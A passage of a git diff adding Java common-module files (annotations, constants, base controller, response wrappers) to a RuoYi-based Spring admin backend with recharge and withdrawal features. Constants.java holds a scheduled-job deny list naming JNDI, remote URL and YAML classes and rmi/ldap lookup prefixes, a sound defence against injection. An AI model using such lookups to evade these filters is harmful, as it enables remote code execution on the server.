ElementType.METHOD }) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface Log +{ + /** + * 模块 + */ + public String title() default ""; + + /** + * 功能 + */ + public BusinessType businessType() default BusinessType.OTHER; + + /** + * 操作人类别 + */ + public OperatorType operatorType() default OperatorType.MANAGE; + + /** + * 是否保存请求的参数 + */ + public boolean isSaveRequestData() default true; + + /** + * 是否保存响应的参数 + */ + public boolean isSaveResponseData() default true; + + /** + * 排除指定的请求参数 + */ + public String[] excludeParamNames() default {}; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java new file mode 100644 index 0000000..0f024c7 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java @@ -0,0 +1,40 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.enums.LimitType; + +/** + * 限流注解 + * + * @author ruoyi + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface RateLimiter +{ + /** + * 限流key + */ + public String key() default CacheConstants.RATE_LIMIT_KEY; + + /** + * 限流时间,单位秒 + */ + public int time() default 60; + + /** + * 限流次数 + */ + public int count() default 100; + + /** + * 限流类型 + */ + public LimitType limitType() default LimitType.DEFAULT; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java new file mode 100644 index 0000000..b769748 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java @@ -0,0 +1,31 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Inherited; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 自定义注解防止表单重复提交 + * + * @author ruoyi + * + */ +@Inherited +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface RepeatSubmit +{ + /** + * 间隔时间(ms),小于此时间视为重复提交 + */ + public int interval() default 5000; + + /** + * 提示消息 + */ + public String message() default "不允许重复提交,请稍候再试"; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java new file mode 100644 index 0000000..c65ea72 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java @@ -0,0 +1,148 @@ +package com.ruoyi.common.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +/** + * 读取项目相关配置 + * + * @author ruoyi + */ +@Component +@ConfigurationProperties(prefix = "ruoyi") +public class RuoYiConfig +{ + /** 项目名称 */ + private String name; + + private static String googleHost; + + + /** 版本 */ + private String version; + + /** 版权年份 */ + private String copyrightYear; + + /** 实例演示开关 */ + private boolean demoEnabled; + + /** 上传路径 */ + private static String profile; + + /** 获取地址开关 */ + private static boolean addressEnabled; + + /** 验证码类型 */ + private static String captchaType; + + public String getName() + { + return name; + } + + public void setName(String name) + { + this.name = name; + } + + public String getVersion() + { + return version; + } + + public void setVersion(String version) + { + this.version = version; + } + + public String getCopyrightYear() + { + return copyrightYear; + } + + public void setCopyrightYear(String copyrightYear) + { + this.copyrightYear = copyrightYear; + } + + public boolean isDemoEnabled() + { + return demoEnabled; + } + + public void setDemoEnabled(boolean demoEnabled) + { + this.demoEnabled = demoEnabled; + } + + public static String getProfile() + { + return profile; + } + + public void setProfile(String profile) + { + RuoYiConfig.profile = profile; + } + + public static boolean isAddressEnabled() + { + return addressEnabled; + } + + public void setAddressEnabled(boolean addressEnabled) + { + RuoYiConfig.addressEnabled = addressEnabled; + } + + public static String getCaptchaType() { + return captchaType; + } + + public void setCaptchaType(String captchaType) { + RuoYiConfig.captchaType = captchaType; + } + + public static String getGoogleHost() { + return googleHost; + } + + public void setGoogleHost(String googleHost) { + this.googleHost = googleHost; + } + + /** + * 获取导入上传路径 + */ + public static String getImportPath() + { + return getProfile() + "/import"; + } + + /** + * 获取头像上传路径 + */ + public static String getAvatarPath() + { + return getProfile() + "/avatar"; + } + + /** + * 获取下载路径 + */ + public static String getDownloadPath() + { + return getProfile() + "/download/"; + } + + /** + * 获取上传路径 + */ + public static String getUploadPath() + { + return getProfile() + "/upload"; + } + + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java new file mode 100644 index 0000000..8ede5d2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java @@ -0,0 +1,74 @@ +package com.ruoyi.common.constant; + +/** + * 缓存的key 常量 + * + * @author ruoyi + */ +public class CacheConstants +{ + /** + * 登录用户 redis key + */ + public static final String LOGIN_TOKEN_KEY = "login_tokens:"; + + /** + * 验证码 redis key + */ + public static final String CAPTCHA_CODE_KEY = "captcha_codes:"; + + /** + * 参数管理 cache key + */ + public static final String SYS_CONFIG_KEY = "sys_config:"; + + /** + * 字典管理 cache key + */ + public static final String SYS_DICT_KEY = "sys_dict:"; + + /** + * 防重提交 redis key + */ + public static final String REPEAT_SUBMIT_KEY = "repeat_submit:"; + + /** + * 限流 redis key + */ + public static final String RATE_LIMIT_KEY = "rate_limit:"; + + /** + * 登录账户密码错误次数 redis key + */ + public static final String PWD_ERR_CNT_KEY = "pwd_err_cnt:"; + + /** + * 验证码失效时间 + */ + public static final int REGISTER_CODE_TIME = 5* 60; + /** + * 充值次数 + */ + public static final String WITHDRAW = "withdraw:"; + /** + * 充值消息KEY + */ + public static final String WITHDRAW_KEY = "withdraw_key"; + /** + * 提现消息KEY + */ + public static final String RECHARGE_KEY = "recharge_key"; + /** + * 实名认证消息KEY + */ + public static final String VERIFIED_KEY = "verified_key"; + + /** + * 充值消息KEY + */ + public static final String WITHDRAW_KEY_BOT = "withdraw_key_bot"; + /** + * 提现消息KEY + */ + public static final String RECHARGE_KEY_BOT = "recharge_key_bot"; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java new file mode 100644 index 0000000..8c1d99a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java @@ -0,0 +1,142 @@ +package com.ruoyi.common.constant; + +import io.jsonwebtoken.Claims; + +/** + * 通用常量信息 + * + * @author ruoyi + */ +public class Constants +{ + /** + * UTF-8 字符集 + */ + public static final String UTF8 = "UTF-8"; + + /** + * GBK 字符集 + */ + public static final String GBK = "GBK"; + + /** + * www主域 + */ + public static final String WWW = "www."; + + /** + * http请求 + */ + public static final String HTTP = "http://"; + + /** + * https请求 + */ + public static final String HTTPS = "https://"; + + /** + * 通用成功标识 + */ + public static final String SUCCESS = "0"; + + /** + * 通用失败标识 + */ + public static final String FAIL = "1"; + + /** + * 登录成功 + */ + public static final String LOGIN_SUCCESS = "Success"; + + /** + * 注销 + */ + public static final String LOGOUT = "Logout"; + + /** + * 注册 + */ + public static final String REGISTER = "Register"; + + /** + * 登录失败 + */ + public static final String LOGIN_FAIL = "Error"; + + /** + * 验证码有效期(分钟) + */ + public static final Integer CAPTCHA_EXPIRATION = 2; + + /** + * 令牌 + */ + public static final String TOKEN = "token"; + + /** + * 令牌前缀 + */ + public static final String TOKEN_PREFIX = "Bearer "; + + /** + * 令牌前缀 + */ + public static final String LOGIN_USER_KEY = "login_user_key"; + + /** + * 用户ID + */ + public static final String JWT_USERID = "userid"; + + /** + * 用户名称 + */ + public static final String JWT_USERNAME = Claims.SUBJECT; + + /** + * 用户头像 + */ + public static final String JWT_AVATAR = "avatar"; + + /** + * 创建时间 + */ + public static final String JWT_CREATED = "created"; + + /** + * 用户权限 + */ + public static final String JWT_AUTHORITIES = "authorities"; + + /** + * 资源映射路径 前缀 + */ + public static final String RESOURCE_PREFIX = "/profile"; + + /** + * RMI 远程方法调用 + */ + public static final String LOOKUP_RMI = "rmi:"; + + /** + * LDAP 远程方法调用 + */ + public static final String LOOKUP_LDAP = "ldap:"; + + /** + * LDAPS 远程方法调用 + */ + public static final String LOOKUP_LDAPS = "ldaps:"; + + /** + * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) + */ + public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" }; + + /** + * 定时任务违规的字符 + */ + public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", + "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" }; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java new file mode 100644 index 0000000..7d899d4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java @@ -0,0 +1,117 @@ +package com.ruoyi.common.constant; + +/** + * 代码生成通用常量 + * + * @author ruoyi + */ +public class GenConstants +{ + /** 单表(增删改查) */ + public static final String TPL_CRUD = "crud"; + + /** 树表(增删改查) */ + public static final String TPL_TREE = "tree"; + + /** 主子表(增删改查) */ + public static final String TPL_SUB = "sub"; + + /** 树编码字段 */ + public static final String TREE_CODE = "treeCode"; + + /** 树父编码字段 */ + public static final String TREE_PARENT_CODE = "treeParentCode"; + + /** 树名称字段 */ + public static final String TREE_NAME = "treeName"; + + /** 上级菜单ID字段 */ + public static final String PARENT_MENU_ID = "parentMenuId"; + + /** 上级菜单名称字段 */ + public static final String PARENT_MENU_NAME = "parentMenuName"; + + /** 数据库字符串类型 */ + public static final String[] COLUMNTYPE_STR = { "char", "varchar", "nvarchar", "varchar2" }; + + /** 数据库文本类型 */ + public static final String[] COLUMNTYPE_TEXT = { "tinytext", "text", "mediumtext", "longtext" }; + + /** 数据库时间类型 */ + public static final String[] COLUMNTYPE_TIME = { "datetime", "time", "date", "timestamp" }; + + /** 数据库数字类型 */ + public static final String[] COLUMNTYPE_NUMBER = { "tinyint", "smallint", "mediumint", "int", "number", "integer", + "bit", "bigint", "float", "double", "decimal" }; + + /** 页面不需要编辑字段 */ + public static final String[] COLUMNNAME_NOT_EDIT = { "id", "create_by", "create_time", "del_flag" }; + + /** 页面不需要显示的列表字段 */ + public static final String[] COLUMNNAME_NOT_LIST = { "id", "create_by", "create_time", "del_flag", "update_by", + "update_time" }; + + /** 页面不需要查询字段 */ + public static final String[] COLUMNNAME_NOT_QUERY = { "id", "create_by", "create_time", "del_flag", "update_by", + "update_time", "remark" }; + + /** Entity基类字段 */ + public static final String[] BASE_ENTITY = { "createBy", "createTime", "updateBy", "updateTime", "remark" }; + + /** Tree基类字段 */ + public static final String[] TREE_ENTITY = { "parentName", "parentId", "orderNum", "ancestors", "children" }; + + /** 文本框 */ + public static final String HTML_INPUT = "input"; + + /** 文本域 */ + public static final String HTML_TEXTAREA = "textarea"; + + /** 下拉框 */ + public static final String HTML_SELECT = "select"; + + /** 单选框 */ + public static final String HTML_RADIO = "radio"; + + /** 复选框 */ + public static final String HTML_CHECKBOX = "checkbox"; + + /** 日期控件 */ + public static final String HTML_DATETIME = "datetime"; + + /** 图片上传控件 */ + public static final String HTML_IMAGE_UPLOAD = "imageUpload"; + + /** 文件上传控件 */ + public static final String HTML_FILE_UPLOAD = "fileUpload"; + + /** 富文本控件 */ + public static final String HTML_EDITOR = "editor"; + + /** 字符串类型 */ + public static final String TYPE_STRING = "String"; + + /** 整型 */ + public static final String TYPE_INTEGER = "Integer"; + + /** 长整型 */ + public static final String TYPE_LONG = "Long"; + + /** 浮点型 */ + public static final String TYPE_DOUBLE = "Double"; + + /** 高精度计算类型 */ + public static final String TYPE_BIGDECIMAL = "BigDecimal"; + + /** 时间类型 */ + public static final String TYPE_DATE = "Date"; + + /** 模糊查询 */ + public static final String QUERY_LIKE = "LIKE"; + + /** 相等查询 */ + public static final String QUERY_EQ = "EQ"; + + /** 需要 */ + public static final String REQUIRE = "1"; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java new file mode 100644 index 0000000..a983c77 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java @@ -0,0 +1,94 @@ +package com.ruoyi.common.constant; + +/** + * 返回状态码 + * + * @author ruoyi + */ +public class HttpStatus +{ + /** + * 操作成功 + */ + public static final int SUCCESS = 200; + + /** + * 对象创建成功 + */ + public static final int CREATED = 201; + + /** + * 请求已经被接受 + */ + public static final int ACCEPTED = 202; + + /** + * 操作已经执行成功,但是没有返回数据 + */ + public static final int NO_CONTENT = 204; + + /** + * 资源已被移除 + */ + public static final int MOVED_PERM = 301; + + /** + * 重定向 + */ + public static final int SEE_OTHER = 303; + + /** + * 资源没有被修改 + */ + public static final int NOT_MODIFIED = 304; + + /** + * 参数列表错误(缺少,格式不匹配) + */ + public static final int BAD_REQUEST = 400; + + /** + * 未授权 + */ + public static final int UNAUTHORIZED = 401; + + /** + * 访问受限,授权过期 + */ + public static final int FORBIDDEN = 403; + + /** + * 资源,服务未找到 + */ + public static final int NOT_FOUND = 404; + + /** + * 不允许的http方法 + */ + public static final int BAD_METHOD = 405; + + /** + * 资源冲突,或者资源被锁 + */ + public static final int CONFLICT = 409; + + /** + * 不支持的数据,媒体类型 + */ + public static final int UNSUPPORTED_TYPE = 415; + + /** + * 系统内部错误 + */ + public static final int ERROR = 500; + + /** + * 接口未实现 + */ + public static final int NOT_IMPLEMENTED = 501; + + /** + * 系统警告消息 + */ + public static final int WARN = 601; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java new file mode 100644 index 0000000..62ad815 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java @@ -0,0 +1,50 @@ +package com.ruoyi.common.constant; + +/** + * 任务调度通用常量 + * + * @author ruoyi + */ +public class ScheduleConstants +{ + public static final String TASK_CLASS_NAME = "TASK_CLASS_NAME"; + + /** 执行目标key */ + public static final String TASK_PROPERTIES = "TASK_PROPERTIES"; + + /** 默认 */ + public static final String MISFIRE_DEFAULT = "0"; + + /** 立即触发执行 */ + public static final String MISFIRE_IGNORE_MISFIRES = "1"; + + /** 触发一次执行 */ + public static final String MISFIRE_FIRE_AND_PROCEED = "2"; + + /** 不触发立即执行 */ + public static final String MISFIRE_DO_NOTHING = "3"; + + public enum Status + { + /** + * 正常 + */ + NORMAL("0"), + /** + * 暂停 + */ + PAUSE("1"); + + private String value; + + private Status(String value) + { + this.value = value; + } + + public String getValue() + { + return value; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java new file mode 100644 index 0000000..96b149c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java @@ -0,0 +1,78 @@ +package com.ruoyi.common.constant; + +/** + * 用户常量信息 + * + * @author ruoyi + */ +public class UserConstants +{ + /** + * 平台内系统用户的唯一标志 + */ + public static final String SYS_USER = "SYS_USER"; + + /** 正常状态 */ + public static final String NORMAL = "0"; + + /** 异常状态 */ + public static final String EXCEPTION = "1"; + + /** 用户封禁状态 */ + public static final String USER_DISABLE = "1"; + + /** 角色封禁状态 */ + public static final String ROLE_DISABLE = "1"; + + /** 部门正常状态 */ + public static final String DEPT_NORMAL = "0"; + + /** 部门停用状态 */ + public static final String DEPT_DISABLE = "1"; + + /** 字典正常状态 */ + public static final String DICT_NORMAL = "0"; + + /** 是否为系统默认(是) */ + public static final String YES = "Y"; + + /** 是否菜单外链(是) */ + public static final String YES_FRAME = "0"; + + /** 是否菜单外链(否) */ + public static final String NO_FRAME = "1"; + + /** 菜单类型(目录) */ + public static final String TYPE_DIR = "M"; + + /** 菜单类型(菜单) */ + public static final String TYPE_MENU = "C"; + + /** 菜单类型(按钮) */ + public static final String TYPE_BUTTON = "F"; + + /** Layout组件标识 */ + public final static String LAYOUT = "Layout"; + + /** ParentView组件标识 */ + public final static String PARENT_VIEW = "ParentView"; + + /** InnerLink组件标识 */ + public final static String INNER_LINK = "InnerLink"; + + /** 校验是否唯一的返回标识 */ + public final static boolean UNIQUE = true; + public final static boolean NOT_UNIQUE = false; + + /** + * 用户名长度限制 + */ + public static final int USERNAME_MIN_LENGTH = 2; + public static final int USERNAME_MAX_LENGTH = 20; + + /** + * 密码长度限制 + */ + public static final int PASSWORD_MIN_LENGTH = 5; + public static final int PASSWORD_MAX_LENGTH = 20; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java new file mode 100644 index 0000000..74ae50d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java @@ -0,0 +1,210 @@ +package com.ruoyi.common.core.controller; + +import java.beans.PropertyEditorSupport; +import java.util.Date; +import java.util.List; + +import cn.dev33.satoken.stp.StpUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.InitBinder; +import com.github.pagehelper.PageHelper; +import com.github.pagehelper.PageInfo; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.PageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.sql.SqlUtil; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + +/** + * web层通用数据处理 + * + * @author ruoyi + */ +public class BaseController +{ + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * 将前台传递过来的日期格式的字符串,自动转化为Date类型 + */ + @InitBinder + public void initBinder(WebDataBinder binder) + { + // Date 类型转换 + binder.registerCustomEditor(Date.class, new PropertyEditorSupport() + { + @Override + public void setAsText(String text) + { + setValue(DateUtils.parseDate(text)); + } + }); + } + + /** + * 设置请求分页数据 + */ + protected void startPage() + { + PageUtils.startPage(); + } + + /** + * 设置请求排序数据 + */ + protected void startOrderBy() + { + PageDomain pageDomain = TableSupport.buildPageRequest(); + if (StringUtils.isNotEmpty(pageDomain.getOrderBy())) + { + String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); + PageHelper.orderBy(orderBy); + } + } + + /** + * 清理分页的线程变量 + */ + protected void clearPage() + { + PageUtils.clearPage(); + } + + /** + * 响应请求分页数据 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTable(List list) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(new PageInfo(list).getTotal()); + return rspData; + } + + /** + * 返回成功 + */ + public AjaxResult success() + { + return AjaxResult.success(); + } + + /** + * 返回失败消息 + */ + public AjaxResult error() + { + return AjaxResult.error(); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(String message) + { + return AjaxResult.success(message); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(Object data) + { + return AjaxResult.success(data); + } + + /** + * 返回失败消息 + */ + public AjaxResult error(String message) + { + return AjaxResult.error(message); + } + + /** + * 返回警告消息 + */ + public AjaxResult warn(String message) + { + return AjaxResult.warn(message); + } + + /** + * 响应返回结果 + * + * @param rows 影响行数 + * @return 操作结果 + */ + protected AjaxResult toAjax(int rows) + { + return rows > 0 ? AjaxResult.success() : AjaxResult.error(); + } + + /** + * 响应返回结果 + * + * @param result 结果 + * @return 操作结果 + */ + protected AjaxResult toAjax(boolean result) + { + return result ? success() : error(); + } + + /** + * 页面跳转 + */ + public String redirect(String url) + { + return StringUtils.format("redirect:{}", url); + } + + /** + * admin + * 获取用户缓存信息 + */ + public LoginUser getLoginUser() + { + return SecurityUtils.getLoginUser(); + } + + + /** + * 获取登录用户id + */ + public Long getUserId() + { + return getLoginUser().getUserId(); + } + + /** + * 获取登录部门id + */ + public Long getDeptId() + { + return getLoginUser().getDeptId(); + } + + /** + * 获取登录用户名 + */ + public String getUsername() + { + return getLoginUser().getUsername(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java new file mode 100644 index 0000000..65d9352 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java @@ -0,0 +1,218 @@ +package com.ruoyi.common.core.domain; + +import java.util.HashMap; +import java.util.Objects; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; + +/** + * 操作消息提醒 + * + * @author ruoyi + */ +public class AjaxResult extends HashMap +{ + private static final long serialVersionUID = 1L; + + /** 状态码 */ + public static final String CODE_TAG = "code"; + + /** 返回内容 */ + public static final String MSG_TAG = "msg"; + + /** 数据对象 */ + public static final String DATA_TAG = "data"; + + /** + * 初始化一个新创建的 AjaxResult 对象,使其表示一个空消息。 + */ + public AjaxResult() + { + } + + /** + * 初始化一个新创建的 AjaxResult 对象 + * + * @param code 状态码 + * @param msg 返回内容 + */ + public AjaxResult(int code, String msg) + { + super.put(CODE_TAG, code); + super.put(MSG_TAG, msg); + } + + /** + * 初始化一个新创建的 AjaxResult 对象 + * + * @param code 状态码 + * @param msg 返回内容 + * @param data 数据对象 + */ + public AjaxResult(int code, String msg, Object data) + { + super.put(CODE_TAG, code); + super.put(MSG_TAG, msg); + if (StringUtils.isNotNull(data)) + { + super.put(DATA_TAG, data); + } + } + + /** + * 返回成功消息 + * + * @return 成功消息 + */ + public static AjaxResult success() + { + //return AjaxResult.success("操作成功"); + return AjaxResult.success(MessageUtils.message("user.ops.status")); + } + + /** + * 返回成功数据 + * + * @return 成功消息 + */ + public static AjaxResult success(Object data) + { + return AjaxResult.success("操作成功", data); + } + + /** + * 返回成功消息 + * + * @param msg 返回内容 + * @return 成功消息 + */ + public static AjaxResult success(String msg) + { + return AjaxResult.success(msg, null); + } + + /** + * 返回成功消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 成功消息 + */ + public static AjaxResult success(String msg, Object data) + { + return new AjaxResult(HttpStatus.SUCCESS, msg, data); + } + + /** + * 返回警告消息 + * + * @param msg 返回内容 + * @return 警告消息 + */ + public static AjaxResult warn(String msg) + { + return AjaxResult.warn(msg, null); + } + + /** + * 返回警告消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 警告消息 + */ + public static AjaxResult warn(String msg, Object data) + { + return new AjaxResult(HttpStatus.WARN, msg, data); + } + + /** + * 返回错误消息 + * + * @return 错误消息 + */ + public static AjaxResult error() + { + return AjaxResult.error("操作失败"); + } + + /** + * 返回错误消息 + * + * @param msg 返回内容 + * @return 错误消息 + */ + public static AjaxResult error(String msg) + { + return AjaxResult.error(msg, null); + } + + /** + * 返回错误消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 错误消息 + */ + public static AjaxResult error(String msg, Object data) + { + return new AjaxResult(HttpStatus.ERROR, msg, data); + } + + /** + * 返回错误消息 + * + * @param code 状态码 + * @param msg 返回内容 + * @return 错误消息 + */ + public static AjaxResult error(int code, String msg) + { + return new AjaxResult(code, msg, null); + } + + /** + * 是否为成功消息 + * + * @return 结果 + */ + public boolean isSuccess() + { + return Objects.equals(HttpStatus.SUCCESS, this.get(CODE_TAG)); + } + + /** + * 是否为警告消息 + * + * @return 结果 + */ + public boolean isWarn() + { + return Objects.equals(HttpStatus.WARN, this.get(CODE_TAG)); + } + + /** + * 是否为错误消息 + * + * @return 结果 + */ + public boolean isError() + { + return Objects.equals(HttpStatus.ERROR, this.get(CODE_TAG)); + } + + /** + * 方便链式调用 + * + * @param key 键 + * @param value 值 + * @return 数据对象 + */ + @Override + public AjaxResult put(String key, Object value) + { + super.put(key, value); + return this; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java new file mode 100644 index 0000000..86d6659 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java @@ -0,0 +1,141 @@ +package com.ruoyi.common.core.domain; + +import java.io.Serializable; +import java.text.DateFormat; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.ruoyi.common.annotation.Excel; +import org.apache.poi.sl.usermodel.TextRun; +import org.springframework.data.annotation.CreatedBy; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + + +import retrofit2.http.Field; + +/** + * Entity基类 + * + * @author ruoyi + */ +public class BaseEntity implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 搜索值 */ + @JsonIgnore + @TableField(exist=false) + private String searchValue; + + @CreatedBy + @TableField(fill = FieldFill.INSERT) + private String createBy; + + @Excel(name = "创建时间" , width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Excel.Type.EXPORT) + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + @LastModifiedBy + @TableField(fill = FieldFill.UPDATE) + private String updateBy; + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + /** 备注 */ + @Excel(name = "备注") + private String remark; + + /** 请求参数 */ + @TableField(exist=false) + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Map params; + + public String getSearchValue() + { + return searchValue; + } + + public void setSearchValue(String searchValue) + { + this.searchValue = searchValue; + } + + public String getCreateBy() + { + return createBy; + } + + public void setCreateBy(String createBy) + { + this.createBy = createBy; + } + + public Date getCreateTime() + { + return createTime; + } + + public void setCreateTime(Date createTime) + { + this.createTime = createTime; + } + + public String getUpdateBy() + { + return updateBy; + } + + public void setUpdateBy(String updateBy) + { + this.updateBy = updateBy; + } + + public Date getUpdateTime() + { + return updateTime; + } + + public void setUpdateTime(Date updateTime) + { + this.updateTime = updateTime; + } + + public String getRemark() + { + return remark; + } + + public void setRemark(String remark) + { + this.remark = remark; + } + + public Map getParams() + { + if (params == null) + { + params = new HashMap<>(); + } + return params; + } + + public void setParams(Map params) + { + this.params = params; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java new file mode 100644 index 0000000..b64985f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java @@ -0,0 +1,5 @@ +package com.ruoyi.common.core.domain; + +public class OrderBySetting { + public static String value = ""; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java new file mode 100644 index 0000000..ef15802 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java @@ -0,0 +1,115 @@ +package com.ruoyi.common.core.domain; + +import java.io.Serializable; +import com.ruoyi.common.constant.HttpStatus; + +/** + * 响应信息主体 + * + * @author ruoyi + */ +public class R implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 成功 */ + public static final int SUCCESS = HttpStatus.SUCCESS; + + /** 失败 */ + public static final int FAIL = HttpStatus.ERROR; + + private int code; + + private String msg; + + private T data; + + public static R ok() + { + return restResult(null, SUCCESS, "操作成功"); + } + + public static R ok(T data) + { + return restResult(data, SUCCESS, "操作成功"); + } + + public static R ok(T data, String msg) + { + return restResult(data, SUCCESS, msg); + } + + public static R fail() + { + return restResult(null, FAIL, "操作失败"); + } + + public static R fail(String msg) + { + return restResult(null, FAIL, msg); + } + + public static R fail(T data) + { + return restResult(data, FAIL, "操作失败"); + } + + public static R fail(T data, String msg) + { + return restResult(data, FAIL, msg); + } + + public static R fail(int code, String msg) + { + return restResult(null, code, msg); + } + + private static R restResult(T data, int code, String msg) + { + R apiResult = new R<>(); + apiResult.setCode(code); + apiResult.setData(data); + apiResult.setMsg(msg); + return apiResult; + } + + public int getCode() + { + return code; + } + + public void setCode(int code) + { + this.code = code; + } + + public String getMsg() + { + return msg; + } + + public void setMsg(String msg) + { + this.msg = msg; + } + + public T getData() + { + return data; + } + + public void setData(T data) + { + this.data = data; + } + + public static Boolean isError(R ret) + { + return !isSuccess(ret); + } + + public static 